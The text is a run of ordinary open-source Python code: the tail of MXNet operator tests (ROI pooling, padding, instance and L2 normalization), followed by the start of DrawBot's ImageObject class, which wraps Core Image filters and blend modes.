exec1.outputs[0].asnumpy()) exec1.backward() l_mask = np.equal(l_np.reshape(shape[0],1),range(shape[1])) l_mask = np.array(l_mask, dtype=np.float32)*2 -1 grad_np = (-2)*l_mask*np.maximum(1-l_mask*x_np,0) grad_np = grad_np.astype(np.float32) assert_almost_equal(grad_np, grad.asnumpy()) # Seed set because the test is not robust enough to operate on random data @with_seed(1234) def test_roipooling(): data = mx.symbol.Variable(name='data') rois = mx.symbol.Variable(name='rois') test = mx.symbol.ROIPooling(data=data, rois=rois, pooled_size=(4, 4), spatial_scale=1) x1 = np.random.rand(4, 3, 12, 8).astype('float32') x2 = np.array([[0, 1.1, 1.1, 6.2, 6.2], [2, 6.1, 2.1, 8.2, 11.2], [1, 3.1, 1.1, 5.2, 10.2], [0, 3, 3, 3, 3]], dtype='float32') check_numeric_gradient(sym=test, location=[x1, x2], grad_nodes={'data':'write', 'rois':'null'}, numeric_eps=1e-4, rtol=1e-1, atol=1e-4) check_numeric_gradient(sym=test, location=[x1, x2], grad_nodes={'data':'add', 'rois':'null'}, numeric_eps=1e-4, rtol=1e-1, atol=1E-4) def check_pad_with_shape(shape, xpu, pad_width, mode): # bind with label X = mx.symbol.Variable('X') Y = mx.symbol.Pad(data=X, mode=mode, pad_width=pad_width) x = mx.random.uniform(-1, 1, shape, ctx=mx.cpu()).copyto(xpu) # numpy result pad_grouped = list(zip(*[iter(list(pad_width))] * 2)) np_out = np.pad(x.asnumpy(), pad_grouped, mode) # mxnet result grad = mx.nd.empty(shape, ctx = xpu) exec1 = Y.bind(xpu, args = [x], args_grad = {'X': grad}) exec1.forward(is_train=True) out = exec1.outputs[0].asnumpy() # compare numpy + mxnet assert_almost_equal(out, np_out) # grad check check_numeric_gradient(Y, [x.asnumpy()], numeric_eps=1e-2, rtol=1e-2) @with_seed() def test_pad(): shape1 = (2, 3, 3, 5) pad1 = (0, 0, 0, 0, 1, 2, 3, 4) shape2 = (2, 3, 3, 5, 4) pad2 = (0, 0, 0, 0, 1, 2, 3, 4, 3, 1) check_pad_with_shape(shape1, default_context(), pad1, 'constant') check_pad_with_shape(shape1, default_context(), pad1, 'edge') check_pad_with_shape(shape2, default_context(), pad2, 'constant') check_pad_with_shape(shape2, default_context(), pad2, 'edge') check_pad_with_shape(shape1, default_context(), pad1, 'reflect') check_pad_with_shape(shape2, default_context(), pad2, 'reflect') def np_instance_norm(data, weight, bias, eps): spatial_dims = data.shape[2::] num_spatial_vals = np.prod(np.array(spatial_dims)) scale = 1/float(num_spatial_vals) sum_axis = tuple(range(2, data.ndim)) mean = scale * np.sum(data, axis = sum_axis) mean = np.reshape(np.repeat(mean, num_spatial_vals), data.shape) var = scale * np.sum((data - mean)**2, axis = sum_axis) var = np.reshape(np.repeat(var, num_spatial_vals), data.shape) weightBatch = np.tile(weight, (data.shape[0], 1)) weightBatch = np.reshape(np.repeat(weightBatch, num_spatial_vals), data.shape) biasBatch = np.tile(bias, (data.shape[0], 1)) biasBatch = np.reshape(np.repeat(biasBatch, num_spatial_vals), data.shape) return weightBatch * (data - mean)/np.sqrt(var + eps) + biasBatch def check_instance_norm_with_shape(shape, xpu): # bind with label eps = 0.001 X = mx.symbol.Variable('X') G = mx.symbol.Variable('G') B = mx.symbol.Variable('B') Y = mx.symbol.InstanceNorm(data=X, beta=B, gamma=G, eps=eps) x = mx.random.normal(0, 1, shape, ctx=mx.cpu()).copyto(xpu) gamma = mx.random.normal(0, 1, shape[1], ctx=mx.cpu()).copyto(xpu) beta = mx.random.normal(0, 1, shape[1], ctx=mx.cpu()).copyto(xpu) np_out = np_instance_norm(x.asnumpy(), gamma.asnumpy(), beta.asnumpy(), eps) exec1 = Y.bind(xpu, args = {'X':x, 'G':gamma, 'B':beta}) exec1.forward(is_train=False) out = exec1.outputs[0].asnumpy() assert_almost_equal(out, np_out, rtol=1e-4, atol=1e-4) check_numeric_gradient(Y, {'X':x.asnumpy(), 'G':gamma.asnumpy(), 'B':beta.asnumpy()}, numeric_eps=1e-2, rtol=1e-2, atol=1e-2) @with_seed() def test_instance_normalization(): check_instance_norm_with_shape((1, 1, 1), default_context()) check_instance_norm_with_shape((2, 1, 2), default_context()) check_instance_norm_with_shape((2,4,5,6), default_context()) check_instance_norm_with_shape((3,3,2,3,2,1,1), default_context()) def check_l2_normalization(in_shape, mode, dtype, norm_eps=1e-10): ctx = default_context() data = mx.symbol.Variable('data') out = mx.symbol.L2Normalization(data=data, mode=mode, eps=norm_eps) in_data = np.random.uniform(-1, 1, in_shape).astype(dtype) # calculate numpy results if mode == 'channel': assert in_data.ndim > 2 np_norm = np.linalg.norm(in_data, axis=1) + norm_eps np_norm = np.repeat(1. / np.expand_dims(np_norm, axis=1), in_data.shape[1], axis=1) np_out = np.multiply(in_data, np_norm) elif mode == 'spatial': assert in_data.ndim > 2 s = in_data.shape np_norm = np.linalg.norm(in_data.reshape((s[0], s[1], -1)), axis=2) + norm_eps np_norm
codeparrot/github-code-clean
from __future__ import division, absolute_import, print_function import AppKit from math import radians import os from drawBot.misc import DrawBotError, optimizePath from fontTools.misc.py23 import basestring from drawBot.context.imageContext import _makeBitmapImageRep class ImageObject(object): """ An image object with support for filters. Optional a `path` to an existing image can be provided. For more info see: `Core Image Filter Reference`_. .. _Core Image Filter Reference: https://developer.apple.com/library/mac/documentation/GraphicsImaging/Reference/CoreImageFilterReference/index.html """ def __init__(self, path=None): self._filters = [] if path is not None: self.open(path) def __del__(self): del self._filters if hasattr(self, "_source"): del self._source if hasattr(self, "_cachedImage"): del self._cachedImage def size(self): """ Return the size of the image as a tuple. """ (x, y), (w, h) = self._ciImage().extent() return w, h def offset(self): """ Return the offset of the image, the origin point can change due to filters. """ (x, y), (w, h) = self._ciImage().extent() return x, y def clearFilters(self): """ Clear all filters. """ self._filters = [] def open(self, path): """ Open an image with a given `path`. """ if isinstance(path, AppKit.NSImage): im = path elif isinstance(path, basestring): path = optimizePath(path) if path.startswith("http"): url = AppKit.NSURL.URLWithString_(path) else: if not os.path.exists(path): raise DrawBotError("Image path '%s' does not exists." % path) url = AppKit.NSURL.fileURLWithPath_(path) im = AppKit.NSImage.alloc().initByReferencingURL_(url) else: raise DrawBotError("Cannot read image path '%s'." % path) rep = _makeBitmapImageRep(im) ciImage = AppKit.CIImage.imageWithData_(rep.TIFFRepresentation()) self._merge(ciImage, doCrop=True) def copy(self): """ Return a copy. """ new = self.__class__() new._filters = list(self._filters) if hasattr(self, "_source"): new._source = self._source.copy() if hasattr(self, "_cachedImage"): new._cachedImage = self._cachedImage.copy() return new def lockFocus(self): """ Set focus on image. """ from drawBot.drawBotDrawingTools import _drawBotDrawingTool # copy/save a state of the existing drawing tool self._originalTool = _drawBotDrawingTool._copy() # reset the existing one _drawBotDrawingTool._reset() # start a new drawing _drawBotDrawingTool.newDrawing() # set the size of the existing image, if there is one if hasattr(self, "_source"): w, h = self.size() _drawBotDrawingTool.size(w, h) def unlockFocus(self): """ Set unlock focus on image. """ from drawBot.drawBotDrawingTools import _drawBotDrawingTool, DrawBotDrawingTool # explicit tell the drawing is done _drawBotDrawingTool.endDrawing() # initiate a new drawing Tool self.imageDrawingTool = DrawBotDrawingTool() # reset the new drawing tool from the main drawing tool self.imageDrawingTool._reset(_drawBotDrawingTool) # reset the main drawing tool with a saved state of the tool _drawBotDrawingTool._reset(self._originalTool) # get the pdf data data = self.imageDrawingTool.pdfImage() # get the last page pageCount = data.pageCount() page = data.pageAtIndex_(pageCount-1) # create an image im = AppKit.NSImage.alloc().initWithData_(page.dataRepresentation()) # create an CIImage object rep = _makeBitmapImageRep(im) ciImage = AppKit.CIImage.imageWithData_(rep.TIFFRepresentation()) # merge it with the already set data, if there already an image self._merge(ciImage) def __enter__(self): self.lockFocus() return self def __exit__(self, type, value, traceback): self.unlockFocus() def _ciImage(self): """ Return the CIImage object. """ if not hasattr(self, "_cachedImage"): self._applyFilters() return self._cachedImage def _nsImage(self): """ Return the NSImage object. """ rep = AppKit.NSCIImageRep.imageRepWithCIImage_(self._ciImage()) nsImage = AppKit.NSImage.alloc().initWithSize_(rep.size()) nsImage.addRepresentation_(rep) return nsImage def _merge(self, ciImage, doCrop=False): """ Merge with an other CIImage object by using the sourceOverCompositing filter. """ if hasattr(self, "_source"): imObject = self.__class__() imObject._source = ciImage imObject.sourceOverCompositing(backgroundImage=self) if doCrop: (x, y), (w, h) = self._ciImage().extent() imObject.crop(rectangle=(x, y, w, h)) ciImage = imObject._ciImage() if hasattr(self, "_cachedImage"): del self._cachedImage self._source = ciImage def _addFilter(self, filterDict): """ Add an filter. """ self._filters.append(filterDict) if hasattr(self, "_cachedImage"): del self._cachedImage def _applyFilters(self): """ Apply all filters on the source image. Keep the _source image intact and store the result in a _cachedImage attribute. """ if hasattr(self, "_source"): self._cachedImage = self._source.copy() for filterDict in self._filters: filterName = filterDict.get("name") ciFilter = AppKit.CIFilter.filterWithName_(filterName) ciFilter.setDefaults() for key, value in filterDict.get("attributes", {}).items(): ciFilter.setValue_forKey_(value, key) if filterDict.get("isGenerator", False): w, h = filterDict["size"] dummy = AppKit.NSImage.alloc().initWithSize_((w, h)) generator = ciFilter.valueForKey_("outputImage") dummy.lockFocus() ctx = AppKit.NSGraphicsContext.currentContext() ctx.setShouldAntialias_(False) ctx.setImageInterpolation_(AppKit.NSImageInterpolationNone) generator.drawAtPoint_fromRect_operation_fraction_((0, 0), ((0, 0), (w, h)), AppKit.NSCompositeCopy, 1) dummy.unlockFocus() rep = _makeBitmapImageRep(dummy) self._cachedImage = AppKit.CIImage.imageWithData_(rep.TIFFRepresentation()) del dummy elif hasattr(self, "_cachedImage"): ciFilter.setValue_forKey_(self._cachedImage, "inputImage") self._cachedImage = ciFilter.valueForKey_("outputImage") if not hasattr(self, "_cachedImage"): raise DrawBotError("Image does not contain any data. Draw into the image object first or set image data from a path.") # filters def boxBlur(self, radius=None): """ Blurs an image using a box-shaped convolution kernel. Attributes: `radius` a float. """ attr = dict() if radius: attr["inputRadius"] = radius filterDict = dict(name="CIBoxBlur", attributes=attr) self._addFilter(filterDict) def discBlur(self, radius=None): """ Blurs an image using a disc-shaped convolution kernel. Attributes: `radius` a float. """ attr = dict() if radius: attr["inputRadius"] = radius filterDict = dict(name="CIDiscBlur", attributes=attr) self._addFilter(filterDict) def gaussianBlur(self, radius=None): """ Spreads source pixels by an amount specified by a Gaussian distribution. Attributes: `radius` a float. """ attr = dict() if radius: attr["inputRadius"] = radius filterDict = dict(name="CIGaussianBlur", attributes=attr) self._addFilter(filterDict) def maskedVariableBlur(self, mask=None, radius=None): """ Blurs the source image according to the brightness levels in a mask image. Attributes: `mask` an Image object, `radius` a float. """ attr = dict() if mask: attr["inputMask"] = mask._ciImage() if radius: attr["inputRadius"] = radius filterDict = dict(name="CIMaskedVariableBlur", attributes=attr) self._addFilter(filterDict) def motionBlur(self, radius=None, angle=None): """ Blurs an image to simulate the effect of using a camera that moves a specified angle and distance while capturing the image. Attributes: `radius` a float, `angle` a float in degrees. """ attr = dict() if radius: attr["inputRadius"] = radius if angle: attr["inputAngle"] = radians(angle) filterDict = dict(name="CIMotionBlur", attributes=attr) self._addFilter(filterDict) def noiseReduction(self, noiseLevel=None, sharpness=None): """ Reduces noise using a threshold value to define what is considered noise. Attributes: `noiseLevel` a float, `sharpness` a float. """ attr = dict() if noiseLevel: attr["inputNoiseLevel"] = noiseLevel if sharpness: attr["inputSharpness"] = sharpness filterDict = dict(name="CINoiseReduction", attributes=attr) self._addFilter(filterDict) def zoomBlur(self, center=None, amount=None): """ Simulates the effect of zooming the camera while capturing the image. Attributes: `center` a tuple (x, y), `amount` a float. """ attr = dict() if center: attr["inputCenter"] = AppKit.CIVector.vectorWithX_Y_(center[0], center[1]) if amount: attr["inputAmount"] = amount filterDict = dict(name="CIZoomBlur", attributes=attr) self._addFilter(filterDict) def colorClamp(self, minComponents=None, maxComponents=None): """ Modifies color values to keep them within a specified range. Attributes: `minComponents` a tuple (x, y, w, h), `maxComponents` a tuple (x, y, w, h). """ attr = dict() if minComponents: attr["inputMinComponents"] = AppKit.CIVector.vectorWithValues_count_(minComponents, 4) if maxComponents: attr["inputMaxComponents"] = AppKit.CIVector.vectorWithValues_count_(maxComponents, 4) filterDict = dict(name="CIColorClamp", attributes=attr) self._addFilter(filterDict) def colorControls(self, saturation=None, brightness=None, contrast=None): """ Adjusts saturation, brightness, and contrast values. Attributes: `saturation` a float, `brightness` a float, `contrast` a float. """ attr = dict() if saturation: attr["inputSaturation"] = saturation if brightness: attr["inputBrightness"] = brightness if contrast: attr["inputContrast"] = contrast filterDict = dict(name="CIColorControls", attributes=attr) self._addFilter(filterDict) def colorMatrix(self, RVector=None, GVector=None, BVector=None, AVector=None, biasVector=None): """ Multiplies source color values and adds a bias factor to each color component. Attributes: `RVector` a tuple (x, y, w, h), `GVector` a tuple (x, y, w, h), `BVector` a tuple (x, y, w, h), `AVector` a tuple (x, y, w, h), `biasVector` a tuple (x, y, w, h). """ attr = dict() if RVector: attr["inputRVector"] = AppKit.CIVector.vectorWithValues_count_(RVector, 4) if GVector: attr["inputGVector"] = AppKit.CIVector.vectorWithValues_count_(GVector, 4) if BVector: attr["inputBVector"] = AppKit.CIVector.vectorWithValues_count_(BVector, 4) if AVector: attr["inputAVector"] = AppKit.CIVector.vectorWithValues_count_(AVector, 4) if biasVector: attr["inputBiasVector"] = AppKit.CIVector.vectorWithValues_count_(biasVector, 4) filterDict = dict(name="CIColorMatrix", attributes=attr) self._addFilter(filterDict) def colorPolynomial(self, redCoefficients=None, greenCoefficients=None, blueCoefficients=None, alphaCoefficients=None): """ Modifies the pixel values in an image by applying a set of cubic polynomials. Attributes: `redCoefficients` a tuple (x, y, w, h), `greenCoefficients` a tuple (x, y, w, h), `blueCoefficients` a tuple (x, y, w, h), `alphaCoefficients` a tuple (x, y, w, h). """ attr = dict() if redCoefficients: attr["inputRedCoefficients"] = AppKit.CIVector.vectorWithValues_count_(redCoefficients, 4) if greenCoefficients: attr["inputGreenCoefficients"] = AppKit.CIVector.vectorWithValues_count_(greenCoefficients, 4) if blueCoefficients: attr["inputBlueCoefficients"] = AppKit.CIVector.vectorWithValues_count_(blueCoefficients, 4) if alphaCoefficients: attr["inputAlphaCoefficients"] = AppKit.CIVector.vectorWithValues_count_(alphaCoefficients, 4) filterDict = dict(name="CIColorPolynomial", attributes=attr) self._addFilter(filterDict) def exposureAdjust(self, EV=None): """ Adjusts the exposure setting for an image similar to the way you control exposure for a camera when you change the F-stop. Attributes: `EV` a float. """ attr = dict() if EV: attr["inputEV"] = EV filterDict = dict(name="CIExposureAdjust", attributes=attr) self._addFilter(filterDict) def gammaAdjust(self, power=None): """ Adjusts midtone brightness. Attributes: `power` a float. """ attr = dict() if power: attr["inputPower"] = power filterDict = dict(name="CIGammaAdjust", attributes=attr) self._addFilter(filterDict) def hueAdjust(self, angle=None): """ Changes the overall hue, or tint, of the source pixels. Attributes: `angle` a float in degrees. """ attr = dict() if angle: attr["inputAngle"] = radians(angle) filterDict = dict(name="CIHueAdjust", attributes=attr) self._addFilter(filterDict) def linearToSRGBToneCurve(self): """ Maps color intensity from a linear gamma curve to the sRGB color space. """ attr = dict() filterDict = dict(name="CILinearToSRGBToneCurve", attributes=attr) self._addFilter(filterDict) def SRGBToneCurveToLinear(self): """ Maps color intensity from the sRGB color space to a linear gamma curve. """ attr = dict() filterDict = dict(name="CISRGBToneCurveToLinear", attributes=attr) self._addFilter(filterDict) def temperatureAndTint(self, neutral=None, targetNeutral=None): """ Adapts the reference white point for an image. Attributes: `neutral` a tuple, `targetNeutral` a tuple. """ attr = dict() if neutral: attr["inputNeutral"] = AppKit.CIVector.vectorWithValues_count_(neutral, 2) if targetNeutral: attr["inputTargetNeutral"] = AppKit.CIVector.vectorWithValues_count_(targetNeutral, 2) filterDict = dict(name="CITemperatureAndTint", attributes=attr) self._addFilter(filterDict) def toneCurve(self, point0=None, point1=None, point2=None, point3=None, point4=None): """ Adjusts tone response of the R, G, and B channels of an image. Attributes: `point0` a tuple (x, y), `point1` a tuple (x, y), `point2` a tuple (x, y), `point3` a tuple (x, y), `point4` a tuple (x, y). """ attr = dict() if point0: attr["inputPoint0"] = AppKit.CIVector.vectorWithValues_count_(point0, 2) if point1: attr["inputPoint1"] = AppKit.CIVector.vectorWithValues_count_(point1, 2) if point2: attr["inputPoint2"] = AppKit.CIVector.vectorWithValues_count_(point2, 2) if point3: attr["inputPoint3"] = AppKit.CIVector.vectorWithValues_count_(point3, 2) if point4: attr["inputPoint4"] = AppKit.CIVector.vectorWithValues_count_(point4, 2) filterDict = dict(name="CIToneCurve", attributes=attr) self._addFilter(filterDict) def vibrance(self, amount=None): """ Adjusts the saturation of an image while keeping pleasing skin tones. Attributes: `amount` a float. """ attr = dict() if amount: attr["inputAmount"] = amount filterDict = dict(name="CIVibrance", attributes=attr) self._addFilter(filterDict) def whitePointAdjust(self, color=None): """ Adjusts the reference white point for an image and maps all colors in the source using the new reference. Attributes: `color` RGBA tuple Color (r, g, b, a). """ attr = dict() if color: attr["inputColor"] = AppKit.CIColor.colorWithRed_green_blue_alpha_(color[0], color[1], color[2], color[3]) filterDict = dict(name="CIWhitePointAdjust", attributes=attr) self._addFilter(filterDict) def colorCrossPolynomial(self, redCoefficients=None, greenCoefficients=None, blueCoefficients=None): """ Modifies the pixel values in an image by applying a set of polynomial cross-products. Attributes: `redCoefficients` a tuple (x, y, w, h), `greenCoefficients` a tuple (x, y, w, h), `blueCoefficients` a tuple (x, y, w, h). """ attr = dict() if redCoefficients: attr["inputRedCoefficients"] = AppKit.CIVector.vectorWithValues_count_(redCoefficients, 4) if greenCoefficients: attr["inputGreenCoefficients"] = AppKit.CIVector.vectorWithValues_count_(greenCoefficients, 4) if blueCoefficients: attr["inputBlueCoefficients"] = AppKit.CIVector.vectorWithValues_count_(blueCoefficients, 4) filterDict = dict(name="CIColorCrossPolynomial", attributes=attr) self._addFilter(filterDict) def colorInvert(self): """ Inverts the colors in an image. """ attr = dict() filterDict = dict(name="CIColorInvert", attributes=attr) self._addFilter(filterDict) def colorMap(self, gradientImage=None): """ Performs a nonlinear transformation of source color values using mapping values provided in a table. Attributes: `gradientImage` an Image object. """ attr = dict() if gradientImage: attr["inputGradientImage"] = gradientImage._ciImage() filterDict = dict(name="CIColorMap", attributes=attr) self._addFilter(filterDict) def colorMonochrome(self, color=None, intensity=None): """ Remaps colors so they fall within shades of a single color. Attributes: `color` RGBA tuple Color (r, g, b, a), `intensity` a float. """ attr = dict() if color: attr["inputColor"] = AppKit.CIColor.colorWithRed_green_blue_alpha_(color[0], color[1], color[2], color[3]) if intensity: attr["inputIntensity"] = intensity filterDict = dict(name="CIColorMonochrome", attributes=attr) self._addFilter(filterDict) def colorPosterize(self, levels=None): """ Remaps red, green, and blue color components to the number of brightness values you specify for each color component. Attributes: `levels` a float. """ attr = dict() if levels: attr["inputLevels"] = levels filterDict = dict(name="CIColorPosterize", attributes=attr) self._addFilter(filterDict) def falseColor(self, color0=None, color1=None): """ Maps luminance to a color ramp of two colors. Attributes: `color0` RGBA tuple Color (r, g, b, a), `color1` RGBA tuple Color (r, g, b, a). """ attr = dict() if color0: attr["inputColor0"] = AppKit.CIColor.colorWithRed_green_blue_alpha_(color0[0], color0[1], color0[2], color0[3]) if color1: attr["inputColor1"] = AppKit.CIColor.colorWithRed_green_blue_alpha_(color1[0], color1[1], color1[2], color1[3]) filterDict = dict(name="CIFalseColor", attributes=attr) self._addFilter(filterDict) def maskToAlpha(self): """ Converts a grayscale image to a white image that is masked by alpha. """ attr = dict() filterDict = dict(name="CIMaskToAlpha", attributes=attr) self._addFilter(filterDict) def maximumComponent(self): """ Returns a grayscale image from max(r,g,b). """ attr = dict() filterDict = dict(name="CIMaximumComponent", attributes=attr) self._addFilter(filterDict) def minimumComponent(self): """ Returns a grayscale image from min(r,g,b). """ attr = dict() filterDict = dict(name="CIMinimumComponent", attributes=attr) self._addFilter(filterDict) def photoEffectChrome(self): """ Applies a preconfigured set of effects that imitate vintage photography film with exaggerated color. """ attr = dict() filterDict = dict(name="CIPhotoEffectChrome", attributes=attr) self._addFilter(filterDict) def photoEffectFade(self): """ Applies a preconfigured set of effects that imitate vintage photography film with diminished color. """ attr = dict() filterDict = dict(name="CIPhotoEffectFade", attributes=attr) self._addFilter(filterDict) def photoEffectInstant(self): """ Applies a preconfigured set of effects that imitate vintage photography film with distorted colors. """ attr = dict() filterDict = dict(name="CIPhotoEffectInstant", attributes=attr) self._addFilter(filterDict) def photoEffectMono(self): """ Applies a preconfigured set of effects that imitate black-and-white photography film with low contrast. """ attr = dict() filterDict = dict(name="CIPhotoEffectMono", attributes=attr) self._addFilter(filterDict) def photoEffectNoir(self): """ Applies a preconfigured set of effects that imitate black-and-white photography film with exaggerated contrast. """ attr = dict() filterDict = dict(name="CIPhotoEffectNoir", attributes=attr) self._addFilter(filterDict) def photoEffectProcess(self): """ Applies a preconfigured set of effects that imitate vintage photography film with emphasized cool colors. """ attr = dict() filterDict = dict(name="CIPhotoEffectProcess", attributes=attr) self._addFilter(filterDict) def photoEffectTonal(self): """ Applies a preconfigured set of effects that imitate black-and-white photography film without significantly altering contrast. """ attr = dict() filterDict = dict(name="CIPhotoEffectTonal", attributes=attr) self._addFilter(filterDict) def photoEffectTransfer(self): """ Applies a preconfigured set of effects that imitate vintage photography film with emphasized warm colors. """ attr = dict() filterDict = dict(name="CIPhotoEffectTransfer", attributes=attr) self._addFilter(filterDict) def sepiaTone(self, intensity=None): """ Maps the colors of an image to various shades of brown. Attributes: `intensity` a float. """ attr = dict() if intensity: attr["inputIntensity"] = intensity filterDict = dict(name="CISepiaTone", attributes=attr) self._addFilter(filterDict) def vignette(self, radius=None, intensity=None): """ Reduces the brightness of an image at the periphery. Attributes: `radius` a float, `intensity` a float. """ attr = dict() if radius: attr["inputRadius"] = radius if intensity: attr["inputIntensity"] = intensity filterDict = dict(name="CIVignette", attributes=attr) self._addFilter(filterDict) def vignetteEffect(self, center=None, intensity=None, radius=None): """ Modifies the brightness of an image around the periphery of a specified region. Attributes: `center` a tuple (x, y), `intensity` a float, `radius` a float. """ attr = dict() if center: attr["inputCenter"] = AppKit.CIVector.vectorWithX_Y_(center[0], center[1]) if intensity: attr["inputIntensity"] = intensity if radius: attr["inputRadius"] = radius filterDict = dict(name="CIVignetteEffect", attributes=attr) self._addFilter(filterDict) def additionCompositing(self, backgroundImage=None): """ Adds color components to achieve a brightening effect. Attributes: `backgroundImage` an Image object. """ attr = dict() if backgroundImage: attr["inputBackgroundImage"] = backgroundImage._ciImage() filterDict = dict(name="CIAdditionCompositing", attributes=attr) self._addFilter(filterDict) def colorBlendMode(self, backgroundImage=None): """ Uses the luminance values of the background with the hue and saturation values of the source image. Attributes: `backgroundImage` an Image object. """ attr = dict() if backgroundImage: attr["inputBackgroundImage"] = backgroundImage._ciImage() filterDict = dict(name="CIColorBlendMode", attributes=attr) self._addFilter(filterDict) def colorBurnBlendMode(self, backgroundImage=None): """ Darkens the background image samples to reflect the source image samples. Attributes: `backgroundImage` an Image object. """ attr = dict() if backgroundImage: attr["inputBackgroundImage"] = backgroundImage._ciImage() filterDict = dict(name="CIColorBurnBlendMode", attributes=attr) self._addFilter(filterDict) def colorDodgeBlendMode(self, backgroundImage=None): """ Brightens the background image samples to reflect the source image samples. Attributes: `backgroundImage` an Image object. """ attr = dict() if backgroundImage: attr["inputBackgroundImage"] = backgroundImage._ciImage() filterDict = dict(name="CIColorDodgeBlendMode", attributes=attr) self._addFilter(filterDict) def darkenBlendMode(self, backgroundImage=None): """ Creates composite image samples by choosing the darker samples (from either the source image or the background). Attributes: `backgroundImage` an Image object. """ attr = dict() if backgroundImage: attr["inputBackgroundImage"] = backgroundImage._ciImage() filterDict = dict(name="CIDarkenBlendMode", attributes=attr) self._addFilter(filterDict) def differenceBlendMode(self, backgroundImage=None): """ Subtracts either the source image sample color from the background image sample color, or the reverse, depending on which sample has the greater brightness value. Attributes: `backgroundImage` an Image object. """ attr = dict() if backgroundImage: attr["inputBackgroundImage"] = backgroundImage._ciImage() filterDict = dict(name="CIDifferenceBlendMode", attributes=attr) self._addFilter(filterDict) def divideBlendMode(self, backgroundImage=None): """ Divides the background image sample color from the source image sample color. Attributes: `backgroundImage` an Image object. """ attr = dict() if backgroundImage: attr["inputBackgroundImage"] = backgroundImage._ciImage() filterDict = dict(name="CIDivideBlendMode", attributes=attr) self._addFilter(filterDict) def exclusionBlendMode(self, backgroundImage=None): """ Produces an effect similar to that produced by the `differenceBlendMode` filter but with lower contrast. Attributes: `backgroundImage` an Image object. """ attr = dict() if backgroundImage: attr["inputBackgroundImage"] = backgroundImage._ciImage() filterDict = dict(name="CIExclusionBlendMode", attributes=attr) self._addFilter(filterDict) def hardLightBlendMode(self, backgroundImage=None): """ Either multiplies or screens colors, depending on the source image sample color. Attributes: `backgroundImage` an Image object. """ attr = dict() if backgroundImage: attr["inputBackgroundImage"] = backgroundImage._ciImage() filterDict = dict(name="CIHardLightBlendMode", attributes=attr) self._addFilter(filterDict) def hueBlendMode(self, backgroundImage=None): """ Uses the luminance and saturation values of the background image with the hue of the input image. Attributes: `backgroundImage` an Image object. """ attr = dict() if backgroundImage: attr["inputBackgroundImage"] = backgroundImage._ciImage() filterDict = dict(name="CIHueBlendMode", attributes=attr) self._addFilter(filterDict) def lightenBlendMode(self, backgroundImage=None): """ Creates composite image samples by choosing the lighter samples (either from the source image or the background). Attributes: `backgroundImage` an Image object. """ attr = dict() if backgroundImage: attr["inputBackgroundImage"] = backgroundImage._ciImage() filterDict = dict(name="CILightenBlendMode", attributes=attr) self._addFilter(filterDict) def linearBurnBlendMode(self, backgroundImage=None): """ Darkens the background image samples to reflect the source image samples while also increasing contrast. Attributes: `backgroundImage` an Image object. """ attr = dict() if backgroundImage: attr["inputBackgroundImage"] = backgroundImage._ciImage() filterDict = dict(name="CILinearBurnBlendMode", attributes=attr) self._addFilter(filterDict) def linearDodgeBlendMode(self, backgroundImage=None): """ Brightens the background image samples to reflect the source image samples while also increasing contrast. Attributes: `backgroundImage` an Image object. """ attr = dict() if backgroundImage: attr["inputBackgroundImage"] = backgroundImage._ciImage() filterDict = dict(name="CILinearDodgeBlendMode", attributes=attr) self._addFilter(filterDict) def luminosityBlendMode(self, backgroundImage=None): """ Uses the hue and saturation of the background image with the luminance of the input image. Attributes: `backgroundImage` an Image object. """ attr = dict() if backgroundImage: attr["inputBackgroundImage"] = backgroundImage._ciImage() filterDict = dict(name="CILuminosityBlendMode", attributes=attr) self._addFilter(filterDict) def maximumCompositing(self, backgroundImage=None): """ Computes the maximum value, by color component, of two input images and creates an output image using the maximum values. Attributes: `backgroundImage` an Image object. """ attr = dict() if backgroundImage: attr["inputBackgroundImage"] = backgroundImage._ciImage() filterDict = dict(name="CIMaximumCompositing", attributes=attr) self._addFilter(filterDict) def minimumCompositing(self, backgroundImage=None): """ Computes the minimum value, by color component, of two input images and creates an output image using the minimum values. Attributes: `backgroundImage` an Image object. """ attr = dict() if backgroundImage: attr["inputBackgroundImage"] = backgroundImage._ciImage() filterDict = dict(name="CIMinimumCompositing", attributes=attr) self._addFilter(filterDict) def multiplyBlendMode(self, backgroundImage=None): """ Multiplies the input image samples with the background image samples. Attributes: `backgroundImage` an Image object. """ attr = dict() if backgroundImage: attr["inputBackgroundImage"] = backgroundImage._ciImage() filterDict = dict(name="CIMultiplyBlendMode", attributes=attr) self._addFilter(filterDict) def multiplyCompositing(self, backgroundImage=None): """ Multiplies the color component of two input images and creates an output image using the multiplied values. Attributes: `backgroundImage` an Image object. """ attr = dict() if backgroundImage: attr["inputBackgroundImage"] = backgroundImage._ciImage() filterDict = dict(name="CIMultiplyCompositing", attributes=attr) self._addFilter(filterDict) def overlayBlendMode(self, backgroundImage=None): """ Either multiplies or screens the input image samples with the background image samples, depending on the background color. Attributes: `backgroundImage` an Image object. """ attr = dict() if backgroundImage: attr["inputBackgroundImage"] = backgroundImage._ciImage() filterDict = dict(name="CIOverlayBlendMode", attributes=attr) self._addFilter(filterDict) def pinLightBlendMode(self, backgroundImage=None): """ Conditionally replaces background image samples with source image samples depending on the brightness of the source image samples. Attributes: `backgroundImage` an Image object. """ attr = dict() if backgroundImage: attr["inputBackgroundImage"] = backgroundImage._ciImage() filterDict = dict(name="CIPinLightBlendMode", attributes=attr) self._addFilter(filterDict) def saturationBlendMode(self, backgroundImage=None): """ Uses the luminance and hue values of the background image with the saturation of the input image. Attributes: `backgroundImage` an Image object. """ attr = dict() if backgroundImage: attr["inputBackgroundImage"] = backgroundImage._ciImage() filterDict = dict(name="CISaturationBlendMode", attributes=attr) self._addFilter(filterDict) def screenBlendMode(self, backgroundImage=None): """ Multiplies the inverse of the input image samples with the inverse of the background image samples. Attributes: `backgroundImage` an Image object. """ attr = dict() if backgroundImage: attr["inputBackgroundImage"] = backgroundImage._ciImage() filterDict = dict(name="CIScreenBlendMode", attributes=attr) self._addFilter(filterDict) def softLightBlendMode(self, backgroundImage=None): """ Either darkens or lightens colors, depending on the input image sample color. Attributes: `backgroundImage` an Image object. """ attr = dict() if backgroundImage: attr["inputBackgroundImage"] = backgroundImage._ciImage() filterDict = dict(name="CISoftLightBlendMode", attributes=attr) self._addFilter(filterDict) def sourceAtopCompositing(self, backgroundImage=None): """ Places the input image over the background image, then uses the luminance of the background image to determine what to show. Attributes: `backgroundImage` an Image object. """ attr = dict() if backgroundImage: attr["inputBackgroundImage"] = backgroundImage._ciImage() filterDict = dict(name="CISourceAtopCompositing", attributes=attr) self._addFilter(filterDict) def sourceInCompositing(self, backgroundImage=None): """ Uses the background image to define what to leave in the input image, effectively cropping the input image. Attributes: `backgroundImage` an Image object. """ attr = 